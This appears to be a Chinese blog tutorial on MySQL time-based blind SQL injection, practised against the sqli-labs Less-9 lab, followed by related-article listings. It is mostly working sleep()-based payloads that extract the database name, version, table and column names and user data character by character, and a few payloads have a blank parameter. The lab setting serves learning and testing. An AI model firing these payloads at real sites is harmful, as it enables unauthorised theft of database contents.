mysql注释 -- ,-- -,#,--+等

常用的判断语句:

' and if(1=0,1, sleep(10)) #

" and if(1=0,1, sleep(10)) --+

) and if(1=0,1, sleep(10)) --+

') and if(1=0,1, sleep(10)) --+

") and if(1=0,1, sleep(10)) --+

下面开始实验

这里我是知道数据库长度的,所以用的是等于=,实战中可以用大小于二分法来进行一个判断,缩短时间(或者丢sqlmap里)

1,输入检测语句

http://192.168.0.174/Less-9/?id=1'and if(1=0,1, sleep(4)) --+

sleep(4)是延迟4秒 --+是注释

按F12 -网络-右下角显示4秒后显示

所以说明咱们插入的语句被带入了数据库查询

2,查询当前数据库的长度,payload:

http://192.168.0.174/Less-9/?id=1'and if(length(database())=8,sleep(10),1)--+

length : 用于截取当前数据库的长度

延迟10秒说明我们判断的长度正确,当前数据库长度为8

3,查询当前数据库的第一个字符,payload:

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(database(),1,1))=115,sleep(10),1)--+

(substr(database(),1,1) : 截取当前数据库的第一个字符

ascii : 把截取到的字符串转换成ascii码(ascii表在最下面)

发现延迟了10秒,那么ascii码是等于115,通过查找ascii码表,115是小写的s

当数字改为2表示第二位数字,通过这样改变位数一个一个字符串进行截取,判断出数据库的名称为security

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(database(),,1))=115,sleep(10),1)--+

4,

1.爆数据库的版本长度

http://192.168.0.174/Less-9/?id=1'and If(length((version()))=14,sleep(10),1)--+

2.爆数据库版本的第一个字符

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr(version(),1,1))=53,sleep(10),1)--+

3.爆第一个数据库的长度

http://192.168.0.174/Less-9/?id=1'and If(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)--+

4.爆第一个数据库的第一个字符

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

这里通过改变limit后的值来确定第几个数据库,第一个数据库的下标为0,依次往后推就是其他的数据库

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select schema_name from information_schema.schemata limit ,1),1,1))=105,sleep(10),1)--+

5.爆security数据库里的第四个表的长度

http://192.168.0.174/Less-9/?id=1'and If(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),1)--+

6.爆security数据库里的第四个表的第一个字符

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(10),1)--+

7.爆security数据库里的users表的第二个字段长度

http://192.168.0.174/Less-9/?id=1'and If(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8,sleep(10),1)--+

8.爆security数据库里的users表的第二个字段的第一个字符

http://192.168.0.174/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(10),1)--+

9.爆security数据库里的users表的第二个字段的第一个数据的长度

http://192.168.0.174/Less-9/?id=1'and If(length((select username from security.users limit 0,1))=4,sleep(10),1)--+

MYSQL时间盲住的更多相关文章

  1. MySQL时间盲注五种延时方法 (PWNHUB 非预期解)

    转自cdxy师傅:https://www.cdxy.me/?p=789 PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时方法的思考. 延时函数 SLEEP ...

  2. mysql时间延时注入案例

    通过Burpsuite结合sqlmap发现如下接口存在时间盲注

  3. 时间盲注脚本.py

    时间盲注脚本 #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import time payloads = 'abcdefg ...

  4. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  5. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

  6. MySQL日期数据类型、MySQL时间类型使用总结

    MySQL:MySQL日期数据类型.MySQL时间类型使用总结 MySQL 日期类型:日期格式.所占存储空间.日期范围 比较. 日期类型 存储空间 日期格式 日期范围 ------------ --- ...

  7. mysql时间日期相加相减实现

    分享篇mysql中日期的一些操作,就是我们常常会用到的mysql时间日期的相加或者相减的了,这个mysql也自己带了函数,有需要的朋友可以参考一下. 最简单的方法 select TO_DAYS(str ...

  8. Mysql 时间操作

    Mysql 时间操作(当天,昨天,7天,30天,半年,全年,季度) 1 . 查看当天日期 select current_date(); 2. 查看当天时间 select current_time(); ...

  9. mysql 时间类型分类

    MySQL:MySQL日期数据类型.MySQL时间类型使用总结 MySQL 日期类型:日期格式.所占存储空间.日期范围 比较. 日期类型 存储空间 日期格式 日期范围------------ ---- ...

随机推荐

  1. Comparable接口和Comparator接口

    1.一个类在设计之初就要实现对该类对象的排序功能,那么这个类要实现Comparable接口,实现public int compareTo(T t)方法.如代码中的Student类.对于实现Compar ...

  2. drbd(三):drbd的状态说明

    本文目录:1.drbd配置文件2.状态 2.1 连接状态(connect state,cs)和复制状态 2.2 角色状态(roles,ro) 2.3 磁盘状态(disk state,ds) 2.4 I ...

  3. Beta Scrum

    听说 Beta Scrum Day 1

  4. alpha-咸鱼冲刺day5-紫仪

    总汇链接 一,合照 emmmmm.自然还是没有的. 二,项目燃尽图 三,项目进展 !!!QAQ可以做到跟数据库交互了!!!!先来撒花花!(然后继续甲板) 四,问题困难   日常啥都不会,百度真心玩一年 ...

  5. Alpha冲刺No.2

    冲刺Day2 一.站立式会议计划 分组讨论研究:较好的掌握MYSQL的使用,以及Android Studio图形化界面设计的学习同步进行. 完成设计数据库架构,进阶版. 登录.注册界面的设计. 能从同 ...

  6. 关于安装wordpress出现500 Internal Server Error的解决方案

    安装新版本wordpress出现500 Internal Server Error的问题: 在./wp-includes/class-http.php的268行,改成 $request_order = ...

  7. 2017 清北济南考前刷题Day 3 afternoon

    期望得分:100+40+100=240 实际得分:100+40+100=240 将每个联通块的贡献乘起来就是答案 如果一个联通块的边数>点数 ,那么无解 如果边数=点数,那么贡献是 2 如果边数 ...

  8. JFinal项目发送邮件——jfinal-mail-plugin

    JFianl框架: JFinal 是基于 Java 语言的极速 WEB + ORM 框架,其核心设计目标是开发迅速.代码量少.学习简单.功能强大.轻量级.易扩展.Restful.在拥有Java语言所有 ...

  9. Vue 2.x + Webpack 3.x + Nodejs 多页面项目框架(下篇——多页面VueSSR+热更新Server)

    Vue 2.x + Webpack 3.x + Nodejs 多页面项目框架(下篇--多页面VueSSR+热更新Server) @(HTML/JS) 这是Vue多页面框架系列文章的第二篇,上一篇(纯前 ...

  10. Python内置函数(13)——bytearray

    英文文档: class bytearray([source[, encoding[, errors]]]) Return a new array of bytes. The bytearray cla ...